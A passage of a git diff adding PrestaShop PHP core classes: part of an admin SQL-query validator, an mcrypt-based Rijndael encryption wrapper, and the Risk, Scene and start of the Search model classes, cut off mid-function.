Tools class + * Cut the request in table for check it + * + * @param $sql + * @return bool + */ + public function parsingSql($sql) + { + return Tools::parserSQL($sql); + } + + /** + * Check if the parsing of the SQL request is good or not + * + * @param $tab + * @param bool $in + * @param $sql + * @return bool + */ + public function validateParser($tab, $in = false, $sql) + { + if (!$tab) + return false; + else if (isset($tab['UNION'])) + { + $union = $tab['UNION']; + foreach ($union as $tab) + { + if (!$this->validateSql($tab, $in, $sql)) + return false; + } + return true; + } + else + return $this->validateSql($tab, $in, $sql); + } + + /** + * Cut the request for check each cutting + * + * @param $tab + * @param $in + * @param $sql + * @return bool + */ + public function validateSql($tab, $in, $sql) + { + if (!$this->testedRequired($tab)) + return false; + else if (!$this->testedUnauthorized($tab)) + return false; + else if (!$this->checkedFrom($tab['FROM'])) + return false; + else if (!$this->checkedSelect($tab['SELECT'], $tab['FROM'], $in)) + return false; + else if (isset($tab['WHERE'])) + { + if (!$this->checkedWhere($tab['WHERE'], $tab['FROM'], $sql)) + return false; + } + else if (isset($tab['HAVING'])) + { + if (!$this->checkedHaving($tab['HAVING'], $tab['FROM'])) + return false; + } + else if (isset($tab['ORDER'])) + { + if (!$this->checkedOrder($tab['ORDER'], $tab['FROM'])) + return false; + } + else if (isset($tab['GROUP'])) + { + if (!$this->checkedGroupBy($tab['GROUP'], $tab['FROM'])) + return false; + } + else if (isset($tab['LIMIT'])) + { + if (!$this->checkedLimit($tab['LIMIT'])) + return false; + } + if (empty($this->_errors)) + if (!Db::getInstance()->executeS($sql)) + return false; + + return true; + } + + /** + * Get list of all tables + * + * @return array + */ + public function getTables() + { + $results = Db::getInstance()->executeS('SHOW TABLES'); + foreach ($results as $result) + { + $key = array_keys($result); + $tables[] = $result[$key[0]]; + } + return $tables; + } + + /** + * Get list of all attributes by an table + * + * @param $table + * @return array + */ + public function getAttributesByTable($table) + { + return Db::getInstance()->executeS('DESCRIBE '.pSQL($table)); + } + + /** + * Cut an join sentence + * + * @param $attrs + * @param $from + * @return array|bool + */ + public function cutJoin($attrs, $from) + { + $attrs = explode('=', str_replace(' ', '', $attrs)); + foreach ($attrs as $attr) + { + if ($attribut = $this->cutAttribute(trim($attr), $from)) + $tab[] = $attribut; + else + return false; + } + return $tab; + } + + /** + * Cut an attribute with or without the alias + * + * @param $attr + * @param $from + * @return array|bool + */ + public function cutAttribute($attr, $from) + { + if (preg_match('#^((`(\()?([a-z0-9_])+`(\))?)|((\()?([a-z0-9_])+(\))?))\.((`(\()?([a-z0-9_])+`(\))?)|((\()?([a-z0-9_])+(\))?))$#i', $attr)) + { + $tab = explode('.', str_replace(array('`', '(', ')'), '', $attr)); + if (!$table = $this->returnNameTable($tab[0], $from)) + return false; + else + return array ('table' => $table, + 'alias' => $tab[0], + 'attribut' => $tab[1], + 'string' => $attr); + } + elseif (preg_match('#^((`(\()?([a-z0-9_])+`(\))?)|((\()?([a-z0-9_])+(\))?))$#i', $attr)) + { + $attribut = str_replace(array('`', '(', ')'), '', $attr); + if (!$table = $this->returnNameTable(false, $from)) + return false; + else + return array('table' => $table, + 'attribut' => $attribut, + 'string' => $attr); + } + else + return false; + } + + /** + * Get name of table by alias + * + * @param bool $alias + * @param $tables + * @return array|bool + */ + public function returnNameTable($alias = false, $tables) + { + if ($alias) + { + foreach ($tables as $table) + { + if ($table['alias'] == $alias) + return array($table['table']); + } + } + else if (!$alias && (count($tables) > 1)) + { + $this->error_sql['returnNameTable'] = false; + return false; + } + else + { + foreach ($tables as $table) + $tab[] = $table['table']; + return $tab; + } + } + + /** + * Check if an attributes existe in an table + * + * @param $attr + * @param $table + * @return bool + */ + public function attributExistInTable($attr, $table) + { + if (is_array($table) && (count($table) == 1)) + $table = $table[0]; + $attributs = $this->getAttributesByTable($table); + foreach ($attributs as $attribut) + if ($attribut['Field'] == trim($attr)) + return true; + return false; + } + + /** + * Check if all required sentence existing + * + * @param $tab + * @return bool + */ + public function testedRequired($tab) + { + foreach ($this->tested['required'] as $key) + if (!array_key_exists($key, $tab)) + { + $this->error_sql['testedRequired'] = $key; + return false; + } + return true; + } + + /** + * Check if an unauthorized existing in an array + * + * @param $tab + * @return bool + */ + public function testedUnauthorized($tab) + { + foreach ($this->tested['unauthorized'] as $key) + if (array_key_exists($key, $tab)) + { + $this->error_sql['testedUnauthorized'] = $key; + return false; + } + return true; + } + + /** + * Check a "FROM" sentence + * + * @param $from + * @return bool + */ + public function checkedFrom($from) + { + $nb = count($from); + for ($i = 0; $i < $nb; $i++) + { + $table = $from[$i]; + if (!in_array(str_replace('`', '', $table['table']), $this->getTables())) + { + $this->error_sql['checkedFrom']['table'] = $table['table']; + return false; + } + if ($table['ref_type'] == 'ON' && (trim($table['join_type']) == 'LEFT' || trim($table['join_type']) == 'JOIN')) + { + if ($attrs = $this->cutJoin($table['ref_clause'], $from)) + { + foreach ($attrs as $attr) + { + if (!$this->attributExistInTable($attr['attribut'], $attr['table'])) + { + $this->error_sql['checkedFrom']['attribut'] = array($attr['attribut'], implode(', ', $attr['table'])); + return false; + } + } + } + else + { + if (isset($this->error_sql['returnNameTable'])) + { + $this->error_sql['checkedFrom'] = $this->error_sql['returnNameTable']; + return false; + } + else + { + $this->error_sql['checkedFrom'] = false; + return false; + } + } + } + } + return true; + } + + /** + * Check a "SELECT" sentence + * + * @param $select + * @param $from + * @param bool $in + * @return bool + */ + public function checkedSelect($select, $from, $in = false) + { + $nb = count($select); + for ($i = 0; $i < $nb; $i++) + { + $attribut = $select[$i]; + if ($attribut['base_expr'] != '*') + { + if ($attribut['expr_type'] == 'colref' || $attribut['expr_type'] == 'reserved') + { + if ($attr = $this->cutAttribute(trim($attribut['base_expr']), $from)) + { + if (!$this->attributExistInTable($attr['attribut'], $attr['table'])) + { + $this->error_sql['checkedSelect']['attribut'] = array($attr['attribut'], implode(', ', $attr['table'])); + return false; + } + } + else + { + if (isset($this->error_sql['returnNameTable'])) + { + $this->error_sql['checkedSelect'] = $this->error_sql['returnNameTable']; + return false; + } + else + { + $this->error_sql['checkedSelect'] = false; + return false; + } + } + } + } + else + { + if ($in) + { + $this->error_sql['checkedSelect']['*'] = false; + return false; + } + } + } + return true; + } + + /** + * Check a "WHERE" sentence + * + * @param $where + * @param $from + * @param $sql + * @return bool + */ + public function checkedWhere($where, $from, $sql) + { + $nb = count($where); + for ($i = 0; $i < $nb; $i++) + { + $attribut = $where[$i]; + if ($attribut['expr_type'] == 'colref' || $attribut['expr_type'] == 'reserved') + { + if ($attr = $this->cutAttribute(trim($attribut['base_expr']), $from)) + { + if (!$this->attributExistInTable($attr['attribut'], $attr['table'])) + { + $this->error_sql['checkedWhere']['attribut'] = array($attr['attribut'], implode(', ', $attr['table'])); + return false; + } + } + else + { + if (isset($this->error_sql['returnNameTable'])) + { + $this->error_sql['checkedWhere'] = $this->error_sql['returnNameTable']; + return false; + } + else + { + $this->error_sql['checkedWhere'] = false; + return false; + } + } + } + else if ($attribut['expr_type'] == 'operator') + { + if (!in_array(strtoupper($attribut['base_expr']), $this->tested['operator'])) + { + $this->error_sql['checkedWhere']['operator'] = array($attribut['base_expr']); + return false; + } + } + else if ($attribut['expr_type'] == 'subquery') + { + $tab = $attribut['sub_tree']; + return $this->validateParser($tab, true, $sql); + } + } + return true; + } + + /** + * Check a "HAVING" sentence + * + * @param $having + * @param $from + * @return bool + */ + public function checkedHaving($having, $from) + { + $nb = count($having); + for ($i = 0; $i < $nb; $i++) + { + $attribut = $having[$i]; + if ($attribut['expr_type'] == 'colref') + { + if ($attr = $this->cutAttribute(trim($attribut['base_expr']), $from)) + { + if (!$this->attributExistInTable($attr['attribut'], $attr['table'])) + { + $this->error_sql['checkedHaving']['attribut'] = array($attr['attribut'], implode(', ', $attr['table'])); + return false; + } + } + else + { + if (isset($this->error_sql['returnNameTable'])) + { + $this->error_sql['checkedHaving'] = $this->error_sql['returnNameTable']; + return false; + } + else + { + $this->error_sql['checkedHaving'] = false; + return false; + } + } + } + + if ($attribut['expr_type'] == 'operator') + { + if (!in_array(strtoupper($attribut['base_expr']), $this->tested['operator'])) + { + $this->error_sql['checkedHaving']['operator'] = array($attribut['base_expr']); + return false; + } + } + } + return true; + } + + /** + * Check a "ORDER" sentence + * + * @param $order + * @param $from + * @return bool + */ + public function checkedOrder($order, $from) + { + $order = $order[0]; + if ($order['type'] == 'expression') + { + if ($attr = $this->cutAttribute(trim($order['base_expr']), $from)) + { + if (!$this->attributExistInTable($attr['attribut'], $attr['table'])) + { + $this->error_sql['checkedOrder']['attribut'] = array($attr['attribut'], implode(', ', $attr['table'])); + return false; + } + } + else + { + if (isset($this->error_sql['returnNameTable'])) + { + $this->error_sql['checkedOrder'] = $this->error_sql['returnNameTable']; + return false; + } + else + { + $this->error_sql['checkedOrder'] = false; + return false; + } + } + } + return true; + } + + /** + * Check a "GROUP BY" sentence + * + * @param $group + * @param $from + * @return bool + */ + public function checkedGroupBy($group, $from) + { + $group = $group[0]; + if ($group['type'] == 'expression') + { + if ($attr = $this->cutAttribute(trim($group['base_expr']), $from)) + { + if (!$this->attributExistInTable($attr['attribut'], $attr['table'])) + { + $this->error_sql['checkedGroupBy']['attribut'] = array($attr['attribut'], implode(', ', $attr['table'])); + return false; + } + } + else + { + if (isset($this->error_sql['returnNameTable'])) + { + $this->error_sql['checkedGroupBy'] = $this->error_sql['returnNameTable']; + return false; + } + else + { + $this->error_sql['checkedGroupBy'] = false; + return false; + } + } + } + return true; + } + + /** + * Check a "LIMIT" sentence + * + * @param $limit + * @return bool + */ + public function checkedLimit($limit) + { + if (!preg_match('#^[0-9]+$#', trim($limit['start'])) || !preg_match('#^[0-9]+$#', trim($limit['end']))) + { + $this->error_sql['checkedLimit'] = false; + return false; + } + return true; + } +} + diff --git a/classes/Rijndael.php b/classes/Rijndael.php new file mode 100755 index 0000000..80198dc --- /dev/null +++ b/classes/Rijndael.php @@ -0,0 +1,74 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class RijndaelCore +{ + protected $_key; + protected $_iv; + + public function __construct($key, $iv) + { + $this->_key = $key; + $this->_iv = base64_decode($iv); + } + + /** + * Base64 is not required, but it is be more compact than urlencode + * + * @param string $plaintext + * @return bool|string + */ + public function encrypt($plaintext) + { + $length = (ini_get('mbstring.func_overload') & 2) ? mb_strlen($plaintext, ini_get('default_charset')) : strlen($plaintext); + + if ($length >= 1048576) + return false; + return base64_encode(mcrypt_encrypt(MCRYPT_RIJNDAEL_128, $this->_key, $plaintext, MCRYPT_MODE_ECB, $this->_iv)).sprintf('%06d', $length); + } + + public function decrypt($ciphertext) + { + if (ini_get('mbstring.func_overload') & 2) + { + $length = intval(mb_substr($ciphertext, -6, 6, ini_get('default_charset'))); + $ciphertext = mb_substr($ciphertext, 0, -6, ini_get('default_charset')); + return mb_substr( + mcrypt_decrypt(MCRYPT_RIJNDAEL_128, $this->_key, base64_decode($ciphertext), MCRYPT_MODE_ECB, $this->_iv), + 0, + $length, + ini_get('default_charset') + ); + } + else + { + $length = intval(substr($ciphertext, -6)); + $ciphertext = substr($ciphertext, 0, -6); + return substr(mcrypt_decrypt(MCRYPT_RIJNDAEL_128, $this->_key, base64_decode($ciphertext), MCRYPT_MODE_ECB, $this->_iv), 0, $length); + } + } +} + diff --git a/classes/Risk.php b/classes/Risk.php new file mode 100755 index 0000000..855c1f3 --- /dev/null +++ b/classes/Risk.php @@ -0,0 +1,76 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * @since 1.5.0 + */ +class RiskCore extends ObjectModel +{ + public $id_risk; + public $name; + public $color; + public $percent; + + public static $definition = array( + 'table' => 'risk', + 'primary' => 'id_risk', + 'multilang' => true, + 'fields' => array( + 'name' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isString', 'required' => true, 'size' => 20), + 'color' => array('type' => self::TYPE_STRING, 'validate' => 'isColor', 'size' => 32), + 'percent' => array('type' => self::TYPE_INT, 'validate' => 'isPercentage') + ), + ); + + public function getFields() + { + $this->validateFields(); + $fields['id_risk'] = (int)$this->id_risk; + $fields['color'] = pSQL($this->color); + $fields['percent'] = (int)$this->percent; + return $fields; + } + + /** + * Check then return multilingual fields for database interaction + * + * @return array Multilingual fields + */ + public function getTranslationsFieldsChild() + { + $this->validateFieldsLang(); + return $this->getTranslationsFields(array('name')); + } + + public static function getRisks($id_lang = null) + { + if (is_null($id_lang)) + $id_lang = Context::getContext()->language->id; + + $risks = new Collection('Risk', $id_lang); + return $risks; + } +} \ No newline at end of file diff --git a/classes/Scene.php b/classes/Scene.php new file mode 100755 index 0000000..86b5303 --- /dev/null +++ b/classes/Scene.php @@ -0,0 +1,303 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class SceneCore extends ObjectModel +{ + /** @var string Name */ + public $name; + + /** @var boolean Active Scene */ + public $active = true; + + /** @var array Zone for image map */ + public $zones = array(); + + /** @var array list of category where this scene is available */ + public $categories = array(); + + /** @var array Products */ + public $products; + + /** + * @see ObjectModel::$definition + */ + public static $definition = array( + 'table' => 'scene', + 'primary' => 'id_scene', + 'multilang' => true, + 'fields' => array( + 'active' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool', 'required' => true), + + // Lang fields + 'name' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isGenericName', 'required' => true, 'size' => 100), + ), + ); + + protected static $feature_active = null; + + public function __construct($id = null, $id_lang = null, $lite_result = true, $hide_scene_position = false) + { + parent::__construct($id, $id_lang); + + if (!$lite_result) + $this->products = $this->getProducts(true, (int)$id_lang, false); + if ($hide_scene_position) + $this->name = Scene::hideScenePosition($this->name); + $this->image_dir = _PS_SCENE_IMG_DIR_; + } + + public function update($null_values = false) + { + if (!$this->updateZoneProducts()) + return false; + if (!$this->updateCategories()) + return false; + + if (parent::update($null_values)) + { + // Refresh cache of feature detachable + Configuration::updateGlobalValue('PS_SCENE_FEATURE_ACTIVE', Scene::isCurrentlyUsed($this->def['table'], true)); + return true; + } + return false; + + } + + public function add($autodate = true, $null_values = false) + { + if (!empty($this->zones)) + $this->addZoneProducts($this->zones); + if (!empty($this->categories)) + $this->addCategories($this->categories); + + if (parent::add($autodate, $null_values)) + { + // Put cache of feature detachable only if this new scene is active else we keep the old value + if ($this->active) + Configuration::updateGlobalValue('PS_SCENE_FEATURE_ACTIVE', '1'); + return true; + } + return false; + } + + public function delete() + { + $this->deleteZoneProducts(); + $this->deleteCategories(); + if (parent::delete()) + { + return $this->deleteImage() && + Configuration::updateGlobalValue('PS_SCENE_FEATURE_ACTIVE', Scene::isCurrentlyUsed($this->def['table'], true)); + } + return false; + } + + public function deleteImage($force_delete = false) + { + // Hack to prevent the main scene image from being deleted in AdminController::uploadImage() when a thumb image is uploaded + if (isset($_FILES['thumb']) && (!isset($_FILES['image']) || empty($_FILES['image']['name']))) + return true; + + if (parent::deleteImage()) + { + if (file_exists($this->image_dir.'thumbs/'.$this->id.'-thumb_scene.'.$this->image_format) + && !unlink($this->image_dir.'thumbs/'.$this->id.'-thumb_scene.'.$this->image_format)) + return false; + } + else + return false; + return true; + } + + public function addCategories($categories) + { + $data = array(); + foreach ($categories as $category) + { + $data[] = array( + 'id_scene' => (int)$this->id, + 'id_category' => (int)$category, + ); + } + return Db::getInstance()->insert('scene_category', $data); + } + + public function deleteCategories() + { + return Db::getInstance()->execute(' + DELETE FROM `'._DB_PREFIX_.'scene_category` + WHERE `id_scene` = '.(int)$this->id); + } + + public function updateCategories() + { + if (!$this->deleteCategories()) + return false; + if (!empty($this->categories) && !$this->addCategories($this->categories)) + return false; + return true; + } + + public function addZoneProducts($zones) + { + $data = array(); + foreach ($zones as $zone) + { + $data[] = array( + 'id_scene' => (int)$this->id, + 'id_product' => (int)$zone['id_product'], + 'x_axis' => (int)$zone['x1'], + 'y_axis' => (int)$zone['y1'], + 'zone_width' => (int)$zone['width'], + 'zone_height' => (int)$zone['height'], + ); + } + + return Db::getInstance()->insert('scene_products', $data); + } + + public function deleteZoneProducts() + { + return Db::getInstance()->execute(' + DELETE FROM `'._DB_PREFIX_.'scene_products` + WHERE `id_scene` = '.(int)$this->id); + } + + public function updateZoneProducts() + { + if (!$this->deleteZoneProducts()) + return false; + if ($this->zones && !$this->addZoneProducts($this->zones)) + return false; + return true; + } + + /** + * Get all scenes of a category + * + * @return array Products + */ + public static function getScenes($id_category, $id_lang = null, $only_active = true, $lite_result = true, $hide_scene_position = true, Context $context = null) + { + if (!Scene::isFeatureActive()) + return array(); + + if (!$context) + $context = Context::getContext(); + $id_lang = is_null($id_lang) ? $context->language->id : $id_lang; + + $sql = 'SELECT s.* + FROM `'._DB_PREFIX_.'scene_category` sc + LEFT JOIN `'._DB_PREFIX_.'scene` s ON (sc.id_scene = s.id_scene) + '.Shop::addSqlAssociation('scene', 's').' + LEFT JOIN `'._DB_PREFIX_.'scene_lang` sl ON (sl.id_scene = s.id_scene) + WHERE sc.id_category = '.(int)$id_category.' + AND sl.id_lang = '.(int)$id_lang + .($only_active ? ' AND s.active = 1' : '').' + ORDER BY sl.name ASC'; + $scenes = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($sql); + + if (!$lite_result && $scenes) + foreach ($scenes as &$scene) + $scene = new Scene($scene['id_scene'], $id_lang, false, $hide_scene_position); + return $scenes; + } + + /** + * Get all products of this scene + * + * @return array Products + */ + public function getProducts($only_active = true, $id_lang = null, $lite_result = true, Context $context = null) + { + if (!Scene::isFeatureActive()) + return array(); + + if (!$context) + $context = Context::getContext(); + $id_lang = is_null($id_lang) ? $context->language->id : $id_lang; + + $products = Db::getInstance()->executeS(' + SELECT s.* + FROM `'._DB_PREFIX_.'scene_products` s + LEFT JOIN `'._DB_PREFIX_.'product` p ON (p.id_product = s.id_product) + '.Shop::addSqlAssociation('product', 'p').' + WHERE s.id_scene = '.(int)$this->id.($only_active ? ' AND product_shop.active = 1' : '')); + + if (!$lite_result && $products) + foreach ($products as &$product) + { + $product['details'] = new Product($product['id_product'], !$lite_result, $id_lang); + $product['link'] = $context->link->getProductLink( + $product['details']->id, + $product['details']->link_rewrite, + $product['details']->category, + $product['details']->ean13 + ); + $cover = Product::getCover($product['details']->id); + if (is_array($cover)) + $product = array_merge($cover, $product); + } + return $products; + } + + /** + * Get categories where scene is indexed + * + * @param integer $id_scene Scene id + * @return array Categories where scene is indexed + */ + public static function getIndexedCategories($id_scene) + { + return Db::getInstance()->executeS(' + SELECT `id_category` + FROM `'._DB_PREFIX_.'scene_category` + WHERE `id_scene` = '.(int)$id_scene); + } + + /** + * Hide scene prefix used for position + * + * @param string $name Scene name + * @return string Name without position + */ + public static function hideScenePosition($name) + { + return preg_replace('/^[0-9]+\./', '', $name); + } + + /** + * This method is allow to know if a feature is used or active + * @since 1.5.0.1 + * @return bool + */ + public static function isFeatureActive() + { + return Configuration::get('PS_SCENE_FEATURE_ACTIVE'); + } +} + + diff --git a/classes/Search.php b/classes/Search.php new file mode 100755 index 0000000..1c9bbd6 --- /dev/null +++ b/classes/Search.php @@ -0,0 +1,669 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +define('PS_SEARCH_MAX_WORD_LENGTH', 15); + +/* Copied from Drupal search module, except for \x{0}-\x{2f} that has been replaced by \x{0}-\x{2c}\x{2e}-\x{2f} in order to keep the char '-' */ +define('PREG_CLASS_SEARCH_EXCLUDE', +'\x{0}-\x{2c}\x{2e}-\x{2f}\x{3a}-\x{40}\x{5b}-\x{60}\x{7b}-\x{bf}\x{d7}\x{f7}\x{2b0}-'. +'\x{385}\x{387}\x{3f6}\x{482}-\x{489}\x{559}-\x{55f}\x{589}-\x{5c7}\x{5f3}-'. +'\x{61f}\x{640}\x{64b}-\x{65e}\x{66a}-\x{66d}\x{670}\x{6d4}\x{6d6}-\x{6ed}'. +'\x{6fd}\x{6fe}\x{700}-\x{70f}\x{711}\x{730}-\x{74a}\x{7a6}-\x{7b0}\x{901}-'. +'\x{903}\x{93c}\x{93e}-\x{94d}\x{951}-\x{954}\x{962}-\x{965}\x{970}\x{981}-'. +'\x{983}\x{9bc}\x{9be}-\x{9cd}\x{9d7}\x{9e2}\x{9e3}\x{9f2}-\x{a03}\x{a3c}-'. +'\x{a4d}\x{a70}\x{a71}\x{a81}-\x{a83}\x{abc}\x{abe}-\x{acd}\x{ae2}\x{ae3}'. +'\x{af1}-\x{b03}\x{b3c}\x{b3e}-\x{b57}\x{b70}\x{b82}\x{bbe}-\x{bd7}\x{bf0}-'. +'\x{c03}\x{c3e}-\x{c56}\x{c82}\x{c83}\x{cbc}\x{cbe}-\x{cd6}\x{d02}\x{d03}'. +'\x{d3e}-\x{d57}\x{d82}\x{d83}\x{dca}-\x{df4}\x{e31}\x{e34}-\x{e3f}\x{e46}-'. +'\x{e4f}\x{e5a}\x{e5b}\x{eb1}\x{eb4}-\x{ebc}\x{ec6}-\x{ecd}\x{f01}-\x{f1f}'. +'\x{f2a}-\x{f3f}\x{f71}-\x{f87}\x{f90}-\x{fd1}\x{102c}-\x{1039}\x{104a}-'. +'\x{104f}\x{1056}-\x{1059}\x{10fb}\x{10fc}\x{135f}-\x{137c}\x{1390}-\x{1399}'. +'\x{166d}\x{166e}\x{1680}\x{169b}\x{169c}\x{16eb}-\x{16f0}\x{1712}-\x{1714}'. +'\x{1732}-\x{1736}\x{1752}\x{1753}\x{1772}\x{1773}\x{17b4}-\x{17db}\x{17dd}'. +'\x{17f0}-\x{180e}\x{1843}\x{18a9}\x{1920}-\x{1945}\x{19b0}-\x{19c0}\x{19c8}'. +'\x{19c9}\x{19de}-\x{19ff}\x{1a17}-\x{1a1f}\x{1d2c}-\x{1d61}\x{1d78}\x{1d9b}-'. +'\x{1dc3}\x{1fbd}\x{1fbf}-\x{1fc1}\x{1fcd}-\x{1fcf}\x{1fdd}-\x{1fdf}\x{1fed}-'. +'\x{1fef}\x{1ffd}-\x{2070}\x{2074}-\x{207e}\x{2080}-\x{2101}\x{2103}-\x{2106}'. +'\x{2108}\x{2109}\x{2114}\x{2116}-\x{2118}\x{211e}-\x{2123}\x{2125}\x{2127}'. +'\x{2129}\x{212e}\x{2132}\x{213a}\x{213b}\x{2140}-\x{2144}\x{214a}-\x{2b13}'. +'\x{2ce5}-\x{2cff}\x{2d6f}\x{2e00}-\x{3005}\x{3007}-\x{303b}\x{303d}-\x{303f}'. +'\x{3099}-\x{309e}\x{30a0}\x{30fb}\x{30fd}\x{30fe}\x{3190}-\x{319f}\x{31c0}-'. +'\x{31cf}\x{3200}-\x{33ff}\x{4dc0}-\x{4dff}\x{a015}\x{a490}-\x{a716}\x{a802}'. +'\x{e000}-\x{f8ff}\x{fb29}\x{fd3e}-\x{fd3f}\x{fdfc}-\x{fdfd}'. +'\x{fd3f}\x{fdfc}-\x{fe6b}\x{feff}-\x{ff0f}\x{ff1a}-\x{ff20}\x{ff3b}-\x{ff40}'. +'\x{ff5b}-\x{ff65}\x{ff70}\x{ff9e}\x{ff9f}\x{ffe0}-\x{fffd}'); + +define('PREG_CLASS_NUMBERS', +'\x{30}-\x{39}\x{b2}\x{b3}\x{b9}\x{bc}-\x{be}\x{660}-\x{669}\x{6f0}-\x{6f9}'. +'\x{966}-\x{96f}\x{9e6}-\x{9ef}\x{9f4}-\x{9f9}\x{a66}-\x{a6f}\x{ae6}-\x{aef}'. +'\x{b66}-\x{b6f}\x{be7}-\x{bf2}\x{c66}-\x{c6f}\x{ce6}-\x{cef}\x{d66}-\x{d6f}'. +'\x{e50}-\x{e59}\x{ed0}-\x{ed9}\x{f20}-\x{f33}\x{1040}-\x{1049}\x{1369}-'. +'\x{137c}\x{16ee}-\x{16f0}\x{17e0}-\x{17e9}\x{17f0}-\x{17f9}\x{1810}-\x{1819}'. +'\x{1946}-\x{194f}\x{2070}\x{2074}-\x{2079}\x{2080}-\x{2089}\x{2153}-\x{2183}'. +'\x{2460}-\x{249b}\x{24ea}-\x{24ff}\x{2776}-\x{2793}\x{3007}\x{3021}-\x{3029}'. +'\x{3038}-\x{303a}\x{3192}-\x{3195}\x{3220}-\x{3229}\x{3251}-\x{325f}\x{3280}-'. +'\x{3289}\x{32b1}-\x{32bf}\x{ff10}-\x{ff19}'); + +define('PREG_CLASS_PUNCTUATION', +'\x{21}-\x{23}\x{25}-\x{2a}\x{2c}-\x{2f}\x{3a}\x{3b}\x{3f}\x{40}\x{5b}-\x{5d}'. +'\x{5f}\x{7b}\x{7d}\x{a1}\x{ab}\x{b7}\x{bb}\x{bf}\x{37e}\x{387}\x{55a}-\x{55f}'. +'\x{589}\x{58a}\x{5be}\x{5c0}\x{5c3}\x{5f3}\x{5f4}\x{60c}\x{60d}\x{61b}\x{61f}'. +'\x{66a}-\x{66d}\x{6d4}\x{700}-\x{70d}\x{964}\x{965}\x{970}\x{df4}\x{e4f}'. +'\x{e5a}\x{e5b}\x{f04}-\x{f12}\x{f3a}-\x{f3d}\x{f85}\x{104a}-\x{104f}\x{10fb}'. +'\x{1361}-\x{1368}\x{166d}\x{166e}\x{169b}\x{169c}\x{16eb}-\x{16ed}\x{1735}'. +'\x{1736}\x{17d4}-\x{17d6}\x{17d8}-\x{17da}\x{1800}-\x{180a}\x{1944}\x{1945}'. +'\x{2010}-\x{2027}\x{2030}-\x{2043}\x{2045}-\x{2051}\x{2053}\x{2054}\x{2057}'. +'\x{207d}\x{207e}\x{208d}\x{208e}\x{2329}\x{232a}\x{23b4}-\x{23b6}\x{2768}-'. +'\x{2775}\x{27e6}-\x{27eb}\x{2983}-\x{2998}\x{29d8}-\x{29db}\x{29fc}\x{29fd}'. +'\x{3001}-\x{3003}\x{3008}-\x{3011}\x{3014}-\x{301f}\x{3030}\x{303d}\x{30a0}'. +'\x{30fb}\x{fd3e}\x{fd3f}\x{fe30}-\x{fe52}\x{fe54}-\x{fe61}\x{fe63}\x{fe68}'. +'\x{fe6a}\x{fe6b}\x{ff01}-\x{ff03}\x{ff05}-\x{ff0a}\x{ff0c}-\x{ff0f}\x{ff1a}'. +'\x{ff1b}\x{ff1f}\x{ff20}\x{ff3b}-\x{ff3d}\x{ff3f}\x{ff5b}\x{ff5d}\x{ff5f}-'. +'\x{ff65}'); + +/** + * Matches all CJK characters that are candidates for auto-splitting + * (Chinese, Japanese, Korean). + * Contains kana and BMP ideographs. + */ +define('PREG_CLASS_CJK', '\x{3041}-\x{30ff}\x{31f0}-\x{31ff}\x{3400}-\x{4db5}\x{4e00}-\x{9fbb}\x{f900}-\x{fad9}'); + +class SearchCore +{ + public static function sanitize($string, $id_lang, $indexation = false) + { + $string = Tools::strtolower(strip_tags($string)); + $string = html_entity_decode($string, ENT_NOQUOTES, 'utf-8'); + + $string = preg_replace('/(['.PREG_CLASS_NUMBERS.']+)['.PREG_CLASS_PUNCTUATION.']+(?=['.PREG_CLASS_NUMBERS.'])/u', '\1', $string); + $string = preg_replace('/['.PREG_CLASS_SEARCH_EXCLUDE.']+/u', ' ', $string); + + if 